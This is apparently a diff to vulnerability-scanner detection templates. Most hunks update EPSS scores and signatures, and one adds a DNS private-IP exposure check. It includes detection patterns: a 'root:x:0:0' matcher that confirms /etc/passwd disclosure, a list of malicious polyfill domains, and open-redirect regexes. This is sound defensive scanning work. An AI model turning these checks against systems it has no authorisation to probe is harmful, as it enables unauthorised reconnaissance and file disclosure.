@@ -18,8 +18,8 @@ info:
    cvss-score: 7.3
    cve-id: CVE-2024-2961
    cwe-id: CWE-787
-    epss-score: 0.91924
-    epss-percentile: 0.99711
+    epss-score: 0.8833
+    epss-percentile: 0.99752
  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln

 flow: http(1) && http(2)
@@ -57,4 +57,4 @@ http:
      - type: regex
        regex:
          - "root:x:0:0"
-# digest: 4a0a0047304502206b2e06f85fb9eff61bd4a00bfb794e0f006146d2fcf3ab42066a2b53befdd3f9022100a47c3ab80aa28676593ebe32cd72ef8ffdf806f6c86f9cfb401bd00e0694f7ce:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008529646911e2aa9a9839746fad41ccbb4d173feb699adac86508097e50175ac302202fba7504078148bd0b1f297bafbfcd156a23065edbf63dd892560c4c986a43e1:922c64590222798bb761d5b6d8e72950
@@ -17,15 +17,17 @@ dns:
  - name: "{{FQDN}}"
    type: CAA
    matchers:
-      - type: regex
-        regex:
-          - "IN\\s+CAA\\s+(.+)"
+      - type: word
+        words:
+          - "CAA"
+        part: answer

    extractors:
      - type: regex
+        part: answer
        group: 1
        regex:
          - 'issue "(.*)"'
          - 'issuewild "(.*)"'
          - 'iodef "(.*)"'
-# digest: 4b0a00483046022100e4c82da722d350948af95c040abdc7c52addee398cf921ec654fd1cf5c1c758a0221008ac947ce44a10cb1238843cde9c77329e19a6803b384c6265c95fddc75e94b27:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b457768e899a74ac8b817b13b2fb78fa3fa4e76546df342d6696f333e283723b022100bb3a8002d61cd3840e8f4e6c1df97429cc92aa5f4a6295efa2481c5d0d8a2f5f:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,43 @@
+id: dns-internal-ip-disclosure
+
+info:
+  name: Public DNS Resolving to Private IP Addresses
+  author: infosec-asish,DevamShah
+  severity: info
+  description: |
+    Detected when a public domain's DNS A records resolved to private or reserved IP addresses, potentially revealing internal network topology to external parties.
+  reference:
+    - https://tools.ietf.org/html/rfc1918
+    - https://tools.ietf.org/html/rfc6598
+    - https://cwe.mitre.org/data/definitions/200.html
+  classification:
+    cwe-id: CWE-200
+  metadata:
+    max-request: 1
+  tags: dns,exposure,misconfig,recon
+
+dns:
+  - name: "{{FQDN}}"
+    type: A
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        name: a-record-present
+        part: answer
+        regex:
+          - "IN\tA\t(.+)$"
+
+      - type: regex
+        name: rfc1918-or-loopback
+        part: answer
+        regex:
+          - "IN\tA\t(10|127|192\\.168|172\\.(1[6-9]|2[0-9]|3[01]))\\.[0-9]{1,3}\\.[0-9]{1,3}"
+
+    extractors:
+      - type: regex
+        group: 1
+        part: answer
+        regex:
+          - "IN\tA\t((?:10|127|192\\.168|172\\.(?:1[6-9]|2[0-9]|3[01]))\\.[0-9.]+)"
+# digest: 490a00463044022056f0442a5058beaa3436c221d2c3ce122ce78dcf5a164d3e0ed57063e69a91e5022018f59b4e0d6da5020e65151623fd67b9d4270166174bc820cf0be567750e4a4b:922c64590222798bb761d5b6d8e72950
@@ -22,4 +22,4 @@ file:
          - 'InvalidOperationException'
          - 'UnauthorizedAccessException'
          - 'NotFound'
-# digest: 4b0a00483046022100f9065d982d3b5baf133287dc40838180118fbf6a9365230d9b4da5972b18f863022100f92a4a85a37c4d5b30c1436cfa0fb6add093063c4840cf07e101dcfc877cc0eb:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204246f5415831b1c65915c9af21d79c1c857b72dc92a22dcd1374f7147341752e0221008959999f9458e23030f8b960dee4b4fe442711df974c0012750fd499f0859e01:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ file:
          - 'BadRequestError'
          - 'MongoError'
          - 'SequelizeDatabaseError'
-# digest: 4a0a0047304502200114d13712d66e3e241789a4cc64f902493e2d2877eac08e14a6dec5a2387242022100f560d8b70b45f55bf5deaaa3d69e99247659bc19ee4803ded118fbea85382aa4:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e58d82d3a2a7d4f15d580a1051f898a436347b8d5943a4e2220cfa34adaf525a0221008d6339c36adc7dee3d69b48227bb10bbb85071f4dd0538557d2745518944919f:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 4.3
    cve-id: CVE-2018-25031
    cwe-id: CWE-20
-    epss-score: 0.8042
-    epss-percentile: 0.99152
+    epss-score: 0.42326
+    epss-percentile: 0.98531
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -56,4 +56,4 @@ headless:
        words:
          - "swagger"
        case-insensitive: true
-# digest: 4a0a00473045022100b71fc9a44af957ff90b72a7129d233785f0b14f9e734a256d6236d90c04582c8022058c4099f14afb7514171d3de57d91876ddcd16e609b62576a9cbb17c85a25f82:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210094b32ed7df72877ae337883d352f07b1d97b6e472246fdee73b51d3dad2a77fd022100f5ffa3da6a71b8233b6d2b18fcbe8cdf5a13c021f075b1d280932e88157066d9:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2022-29455
    cwe-id: CWE-79
-    epss-score: 0.58138
-    epss-percentile: 0.98223
+    epss-score: 0.2318
+    epss-percentile: 0.97494
    cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
@@ -52,4 +52,4 @@ headless:
        words:
          - "elementor"
        case-insensitive: true
-# digest: 490a0046304402207e6f2386340845b660853fa1063c2b8a0d0c38959c25f93bc1f454647c0bc60f02202b64698d3d817de0bae71162a0eb8603b025a618e5712da670b42b8561a5c62f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ef1d84d54435992ba893c6cf6ef53d49b20b410599e6ef1587a26d20db15c32e02204baa2f559c05238fa3cc39adfec07d29c5b0000342c3f2371b2dfb669122f517:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    cvss-score: 7.2
    cve-id: CVE-2024-29882
    cwe-id: CWE-79
-    epss-score: 0.07702
-    epss-percentile: 0.92098
+    epss-score: 0.01086
+    epss-percentile: 0.61251
  metadata:
    verified: true
    max-request: 1
@@ -50,4 +50,4 @@ headless:
          - "ConnectSRS</a>"
        condition: or
        case-insensitive: true
-# digest: 4a0a00473045022100d991cf06b52e07e2628b7907306655463ed83bd7bd4be5b0ee970cd05f43b287022078f31f2db1d153428eb6cfdd15015e243e5e24913d36c0dbc487b52ad00791f6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b7f15d97b25aec5c8c228d2256e65eb5bb43b40f62069dae1330e78355883edd02204620cc8899a1c2c003ad265460f4daf6d6a52a3ba1ac83a42cb2a475f55bc0b1:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L
    cvss-score: 7.2
    cve-id: CVE-2024-38526
-    epss-score: 0.82871
-    epss-percentile: 0.9927
+    epss-score: 0.03832
+    epss-percentile: 0.88834
  tags: cve,cve2024,supply-chain,polyfill,vkev,vuln
 headless:
  - steps:
@@ -60,4 +60,4 @@ headless:
          - "union.macoms.la"
          - "newcrbpc.com"
        part: urls
-# digest: 4a0a0047304502204225e603fb588dfdd84a039e00600878320b5db67a613eb19d744c1f352e1bf5022100b973c8f287f690a6e237f49b52dd27df7fbbaefba13e8a628179be57944811c6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200ba3aa5180fecb970b1cdee0a358dc0a8dfb5d596a1f2a5ca7c45b8366a130e7022100f5fe9fc79bda2d1c60e748fde0154c1214246adfa67575edbde1ed065920d151:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://patchstack.com/articles/reflected-xss-patched-in-essential-addons-for-elementor-affecting-2-million-sites/
    - https://github.com/Sachinart/essential-addons-for-elementor-xss-poc/blob/main/poc.py
  classification:
-    epss-score: 0.03968
-    epss-percentile: 0.88643
+    epss-score: 0.01183
+    epss-percentile: 0.64012
  metadata:
    verified: true
    max-request: 1
@@ -46,4 +46,4 @@ headless:
        words:
          - "{{random_int}}"
        case-insensitive: true
-# digest: 4b0a004830460221009fdf665b838dcddb9da67d9960a4a6d65e12774ab87519db0b62ed51a41d8f19022100a222fcee7cf97cdc830d5e2d496256061ca98a0c6a6558ca3548ff2872632426:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100eabc6bf2008ea46999428fac0408f3342d02c0c05bc2db50859e058b6bc3d46002201154058b890b5c8e91d84da8ff9a2e6cd5fd618354973d8f03bf73bcc1c5276a:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 4.4
    cve-id: CVE-2025-25062
    cwe-id: CWE-79
-    epss-score: 0.36859
-    epss-percentile: 0.97248
+    epss-score: 0.01659
+    epss-percentile: 0.73818
    cpe: cpe:2.3:a:backdropcms:backdrop:*:*:*:*:*:*:*:*
  metadata:
    max-request: 7
@@ -190,4 +190,4 @@ headless:
        dsl:
          - reflected_text_xss_type
          - reflected_text_xss_message
-# digest: 4a0a00473045022063ea2b5c407b35d9ddedb40fb0e112c9c0180dc72b011650342c3abd642185b0022100aed529cd6b09d1cf7ff6c98b9de6fb9ff469d808afdee33bd7a55df99cd25f2c:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022077cbe8e6069bb6b3d88e802b33dd0d2808a26b4437e3764fc1af3f9f23536e0202200e2b1f4c8af23c731841b155e72499b937c0003c6534a460e0098e06bb6b45c7:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.1
    cve-id: CVE-2025-29927
    cwe-id: CWE-285
-    epss-score: 0.92118
-    epss-percentile: 0.99724
+    epss-score: 0.99621
+    epss-percentile: 0.99946
  metadata:
    vendor: vercel
    product: Next.js
@@ -59,4 +59,4 @@ headless:
          - "compare_versions(nextjs_version, '> 14.0.0', '< 14.2.25')"
          - "compare_versions(nextjs_version, '> 15.0.0', '< 15.2.3')"
        condition: or
-# digest: 490a0046304402201b93febb2dddd9f59fb7fd187a59743371c14a21cb409da33fa5293d2e83887602202ba188e84d431da069183845c4fca9d1c47f22fb3369e51b98ba0c61eae7c793:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201d9f64ea6fe54975c8136ae2281e8a2d123b84a99d58c8926e4ac2ad8ceb12b7022100e4bed2873689aa7157e2595a30e541a7517173b57dfbd503479802c0b13aa9c2:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2025-8191
    cwe-id: CWE-79
-    epss-score: 0.00678
-    epss-percentile: 0.72015
+    epss-score: 0.01646
+    epss-percentile: 0.73623
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -69,4 +69,4 @@ headless:
        words:
          - "swagger"
        case-insensitive: true
-# digest: 4a0a00473045022031046a771f28194d621b55698dc9e7173834bc1fb689989fd40b9cea191e3e020221008c3f28bde21bf660f1f59c37536c4c14ea924bebd63129cfd8bbcbfb300b4fc3:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022014e16d27f81c960d8980a50cddf168d71f59e36fe2efbbe844ba0d1ae201c56f0220370dac0ec4c85dec80fae08f727bbe4f69200dfde8d5f629ca3c9e674158225b:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2000-0114
-    epss-score: 0.05458
-    epss-percentile: 0.90397
+    epss-score: 0.47595
+    epss-percentile: 0.98701
    cpe: cpe:2.3:a:microsoft:internet_information_server:3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -62,4 +62,4 @@ http:
        group: 1
        regex:
          - 'version:([0-9.]+)'
-# digest: 4a0a0047304502203576ac92e11b725dc782e7107152ccf58d1563df1b055b5f01a5d8af0e20def9022100af9d1b89633042be30565baa46380e73c64aed9fd4ee50ae4a54fc99eaab3ded:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c110c8b0ac821b798a2c4328b1870d54b7f36b7d4c5e80785dff9abe02064ec7022100e22d0023b29dd937c29aac191672c42dbb8ab7a0d4ab1bba6b33746f72bd66f3:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:N
    cvss-score: 6.4
    cve-id: CVE-2000-0760
-    epss-score: 0.30438
-    epss-percentile: 0.96812
+    epss-score: 0.62496
+    epss-percentile: 0.99084
    cpe: cpe:2.3:a:apache:tomcat:3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -55,4 +55,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100edeb440c330134fe1ac9bfea8c693fa00f0b6fb9f194d45a445ac98860367c8002201e4dece797bd759b91e57ee9e2f899ef17ad6ed874731148390e3b0ace7bde30:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210095b1c0370925cd7dfe3ef71b41cd77061ce29b6c318ea36739fd99dedcb56d6c02210090a6ef73695850017875ec251f12b95e7662095f9ce439e60fab575c7d89103a:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.3
    cve-id: CVE-2001-0537
    cwe-id: CWE-287
-    epss-score: 0.93773
-    epss-percentile: 0.99865
+    epss-score: 0.6845
+    epss-percentile: 0.99248
    cpe: cpe:2.3:o:cisco:ios:11.3:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -53,4 +53,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a0046304402201ababa1f077852fb7b253c46fbbabbffb6dbf39c29596f29afcba13a6505fafe02202810e1e0f0a3b8250cefe8679e2a7f7a8b19b2b2de076edec801e96227b984d6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b4451668c945e5baec77fd51a3e8e26b9a44e26abd0858ff94bf7b55b21ee22502202e8bd604e5d2988ccde51c0370c76d7bd3134eaa085b4b7b81833841148c07d6:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 7.5
    cve-id: CVE-2002-1131
    cwe-id: CWE-80
-    epss-score: 0.03902
-    epss-percentile: 0.88548
+    epss-score: 0.25754
+    epss-percentile: 0.97717
    cpe: cpe:2.3:a:squirrelmail:squirrelmail:*:*:*:*:*:*:*:*
  metadata:
    max-request: 5
@@ -52,4 +52,4 @@ http:
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
-# digest: 490a00463044022031e9ef924c598d81c5436732a85b906c07446d1698d4438e44ae615129c8b795022032dd1685e8e49a04646fa601f2347c4568b33efa8c56889bcc42ae2bb80beae2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201ea89a357407c145fecedd4088eff53dc2c7a23a5ade23d0223d56475a5434e8022100caa3bbeef7e056dc4d956252058f33ea7ced1bd62013ad2e145b7996b32a5992:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 6.8
    cve-id: CVE-2004-0519
    cwe-id: NVD-CWE-Other
-    epss-score: 0.00189
-    epss-percentile: 0.40577
+    epss-score: 0.22528
+    epss-percentile: 0.97428
    cpe: cpe:2.3:a:sgi:propack:3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -48,4 +48,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a004630440220774b4b06259c725e61d2b23184d62071271b7530793fbd79ad9f63ce46db352802200fd20dc17a10e72cd66d6cd540df1cc2968addbb6bb4cd29e86f736d02b6ed77:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207e185c445c27a808bcd72fdc391210daa529554836659e4a6616ddb368ec464602201be4c0406b8e721b37373d9ee3ec56747904fa3151ccf3e4cb59b2248ba337d6:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 4.3
    cve-id: CVE-2004-1965
    cwe-id: NVD-CWE-Other
-    epss-score: 0.00265
-    epss-percentile: 0.50249
+    epss-score: 0.08442
+    epss-percentile: 0.94347
    cpe: cpe:2.3:a:openbb:openbb:1.0.0_beta1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -40,4 +40,4 @@ http:
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
-# digest: 4a0a004730450220360db6f1478f63879bc0ff9ac0e812fcd8d45a70501e9854c8c44d1360179445022100f6b9ec4f7f1ebbde2e80b5ea9693e608a2b6f24b4c017c20767dc95951d1b049:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b4b1a34ee71af6c08a24d8e5a65a084e3b8e684eec7d84790d8f2156d7a672b9022100cf051834825b58d9f9301420975d7e1d2449fff400f2b1cd65c9550291dc0a68:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 5
    cve-id: CVE-2005-2428
    cwe-id: CWE-200
-    epss-score: 0.08605
-    epss-percentile: 0.92602
+    epss-score: 0.73635
+    epss-percentile: 0.99406
    cpe: cpe:2.3:a:ibm:lotus_domino:5.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -44,4 +44,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502205c99602e23370f34cda00ed8ff78d98e8336c7fc0e05ee6d97c1170ac9be532802210099af790a11a9e75a4246e291aa56871993ef6d2f42af4b12402e9e937e1750a7:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bff880d9882873e8644c6cf551a189786fec54a9beb32a48275ac173c468d0c1022100b012d3eca88ee43ba31114c591e6e1aa9c12f4df7fb552f5ad817a7beafe2fef:922c64590222798bb761d5b6d8e72950
@@ -16,8 +16,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2005-3128
-    epss-score: 0.01747
-    epss-percentile: 0.82943
+    epss-score: 0.03436
+    epss-percentile: 0.87535
    cwe-id: CWE-80
  metadata:
    max-request: 1
@@ -44,4 +44,4 @@ http:
        part: header
        words:
          - "text/html"
-# digest: 4b0a00483046022100debce20967ef488924e632b4daf3f5fee54106984c173486782cf9209ff828df022100c04feedbcde12b33b42dfd1eda081d2f230a0ce7771865f81926bc63a860284b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221009876c0538d53645c3d393a02cafaa5433b350ca5b71cefcf714f525b3de3172e0220086f3babe1f7a7948fedd879d718f2d233767618a1fa8f7e7394d0baa1b63135:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2005-3344
    cwe-id: NVD-CWE-Other
-    epss-score: 0.1015
-    epss-percentile: 0.9327
+    epss-score: 0.07986
+    epss-percentile: 0.94063
    cpe: cpe:2.3:a:horde:horde:3.0.4:*:*:*:*:*:*:*
  metadata:
    max-request: 2
@@ -47,4 +47,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502203c883622ebe8cb4bbb22ae55d8ef365dbcf5757c4d241c13250bbbd414cfd7ea022100915a23851876945178fdc0de42caadfad4da8f9e2b6d0de65db6ddcc2235be0e:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220058cbe13832302235134f541bf4487a935ca5ebbf2ce35c3d43053e980afb326022066d8fa94fff9a6016440a3aa6ab6bdd8fdc82ef39570de09230b4736c4a2397a:922c64590222798bb761d5b6d8e72950
@@ -22,8 +22,8 @@ info:
    cvss-score: 5
    cve-id: CVE-2005-3634
    cwe-id: NVD-CWE-Other
-    epss-score: 0.01653
-    epss-percentile: 0.82426
+    epss-score: 0.19378
+    epss-percentile: 0.97021
    cpe: cpe:2.3:a:sap:sap_web_application_server:6.10:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -45,4 +45,4 @@ http:
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
-# digest: 490a004630440220133d91e42dfd185f51bd349091d95f78c6944a86b831f8edf4d20f885da19dc402202b7f9fa7fec34b10c445396bd0a32ec362c8db7a0772eff2171df93c4e4d10b5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207931f4ab674f1cc09b0122997338e948965390feee8b1daedaf0cf7995800c35022100a223815e4f83255dda13692ad6983e504b17a56022814fa5ba6eb289c1b8a454:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 4.3
    cve-id: CVE-2005-4385
    cwe-id: NVD-CWE-Other
-    epss-score: 0.00274
-    epss-percentile: 0.51123
+    epss-score: 0.08011
+    epss-percentile: 0.94075
    cpe: cpe:2.3:a:cofax:cofax:1.9.9c:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -43,4 +43,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502202ba6d7df2d988d5f936829c4ebb4f1250fb8689c96c550e4ce28c03ecb57f95f022100d48e0dd4163da1e679ff6597fa55238c26a0f6756c572555d7e9edacff39002f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cafdedc4e77201ff3323569fd452f714d198780075e67e30ebecca10257be50b0220640afbc1ed8cfcba22a8d4ff6023e0d43841be13a3cd2a756a29781e73786075:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 4.3
    cve-id: CVE-2006-1681
    cwe-id: NVD-CWE-Other
-    epss-score: 0.0041
-    epss-percentile: 0.61768
+    epss-score: 0.06643
+    epss-percentile: 0.93072
    cpe: cpe:2.3:a:cherokee:cherokee_httpd:0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -62,4 +62,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100ad049441ca6c8c44b14fa0a427e1fd385d316396382f324ae0a27e9703a3779502204decb164be216dd9b252ef51d0b05636c85ec4a4541a85d926502eaf23705e40:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e063b9666e14016b6eb25342242ba76dc08f6644ea5f4f8d6b61145a57d0099002210087f6240284f0e8dc4595ffb34c061435ec9b37331796427ab9b04202188c0a0e:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 7.5
    cve-id: CVE-2006-2842
    cwe-id: CWE-22
-    epss-score: 0.0164
-    epss-percentile: 0.82343
+    epss-score: 0.47196
+    epss-percentile: 0.98694
    cpe: cpe:2.3:a:squirrelmail:squirrelmail:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -48,4 +48,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100ddec028a5465abf00f7c0f63aadf576fbee3526d742d9c8c63be67aa7e4ac739022100855068849a5b993fb565db5b6739d6d4fc4e0699dc10a19a537505da4050f081:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100da46606ee7d35b8d037c542a29876ed168a76827d59c5e46f766b5365b375e52022100fe79670b5235cddf59f0dda789cf8a8fdeef539b011bbc5683cd42d6b066e1b0:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5.0
    cve-id: CVE-2006-3392
-    epss-score: 0.86941
-    epss-percentile: 0.99454
+    epss-score: 0.77953
+    epss-percentile: 0.99519
    cwe-id: CWE-22
  metadata:
    max-request: 1
@@ -44,4 +44,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100c39b4911d6e7bd9910aad2da1d473043dea9ead1d9787499408bdea8c2d416970221008d04a4ca3df180cc2fa7f08640003246b1bad3ff8e4dd7e00beb60db4524feee:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202a92454082b1d73ceceddd239fbba4d845b25ee330109085ebca235f469f35ea022014061aff80353e588eb178e0f1838bc0c66f624e9e68135a0f82e1cbf6fee4f6:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    cvss-score: 6.8
    cve-id: CVE-2007-0885
    cwe-id: NVD-CWE-Other
-    epss-score: 0.01595
-    epss-percentile: 0.82078
+    epss-score: 0.05472
+    epss-percentile: 0.918
    cpe: cpe:2.3:a:rainbow_portal:rainbow.zen:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -46,4 +46,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a004730450221009e18c0457cac531bac76e47ff85404ea22d3781d3dc4f50ee799f76a8447d5da02205860cf52579299726650dc2bddc84aa14388ce49b117df81d28c642afca8823a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d9652153ee066d3fd38871099bec6ac1d01a0a6bf8a65fedb3bebe28d4c7b648022100a542f0b035a91699f84e5904afa798b581071f83ba943e57d73aba138c760e21:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
-    epss-score: 0.5214
-    epss-percentile: 0.97975
+    epss-score: 0.77376
+    epss-percentile: 0.99502
  metadata:
    max-request: 1
    verified: true
@@ -47,4 +47,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100805097991b240029c872c5115669c626e4c970827fb87303d3d6f7475e905f9e0220278af71c23c0fef9cd3b23225493f45725f3da87fb094711a5fb0595380d292b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200b39d49af128f6f7af7dbd821655f1ca498afefbdcdca41afc9bd6b0b7af6dcb02210093322aa2c9d81aa5384f027597edf746baa4c768f425181d5c99cb2a90993f3a:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2007-3010
    cwe-id: CWE-20
-    epss-score: 0.94131
-    epss-percentile: 0.99917
+    epss-score: 0.97759
+    epss-percentile: 0.99897
    cpe: cpe:2.3:a:alcatel-lucent:omnipcx:7.1:*:enterprise:*:*:*:*:*
  metadata:
    verified: true
@@ -59,4 +59,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100f4679d50ae62199319419f5f5075f26781c933f875a6e90e0226bc1002b8ba260220701e8d86bc583bcefef291b217e69a78a1ae40399e238c0c41a9c9c819f1ae28:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202b73c6f18e7bafe6216e1131560956b950915438a3ce6c05b8119293d2309d68022100ecf632cd907ebab7367f5f0bc2f18e99b7c04883f6e2d4abcd1655a36536aac2:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 5
    cve-id: CVE-2007-4504
    cwe-id: CWE-22
-    epss-score: 0.00177
-    epss-percentile: 0.39081
+    epss-score: 0.09491
+    epss-percentile: 0.9485
    cpe: cpe:2.3:a:joomla:rsfiles:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -42,4 +42,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a004830460221008d2f7f0579b17974e8cf6867c474d72562f7ec81fca582953eee132f51ac70ea022100b2034eebddc6048b91e991cf57f36196444a5481b0cf18d4b8a12a51d2c34fc6:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c3cb6d76296c860c46b1e0241b03faf1c3d13890492684682d453a4f91b08d9902210087313ee91dfad05d6d30ab105c819ea000e2e4ba9981234d9f5d8d4cfd1012ae:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 6.8
    cve-id: CVE-2007-4556
    cwe-id: NVD-CWE-Other
-    epss-score: 0.02109
-    epss-percentile: 0.8446
+    epss-score: 0.25749
+    epss-percentile: 0.97716
    cpe: cpe:2.3:a:opensymphony:xwork:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -51,4 +51,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100978e48c9fdb226bea56bd84a0932e23488206cb854e7ffee96358f41ffcdcf3a022100ebcc8e2a32eed68540937b0a50501d16efa99c682120d87b71b5a6f754ef0560:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100866de5d5c845abc8d44cffe80cc62c3ca07f7e0930126b48dfb01daf5030139a0220290adef89f500fd716a88a8750affe57b1fa8a031a2c7f63d5edfb12e753792b:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 4.3
    cve-id: CVE-2007-5728
    cwe-id: CWE-79
-    epss-score: 0.00523
-    epss-percentile: 0.67343
+    epss-score: 0.14639
+    epss-percentile: 0.96247
    cpe: cpe:2.3:a:phppgadmin:phppgadmin:3.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -57,4 +57,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100f521e0f75e457e1f5680ffea41a4b97b48b6ecabb440741284555b977560114202210090ada1ad93952ca8d6ed6aecd45cf66f876e49a63a92323d10aa7f64b63bef92:922c64590222798bb761d5b6d8e72950
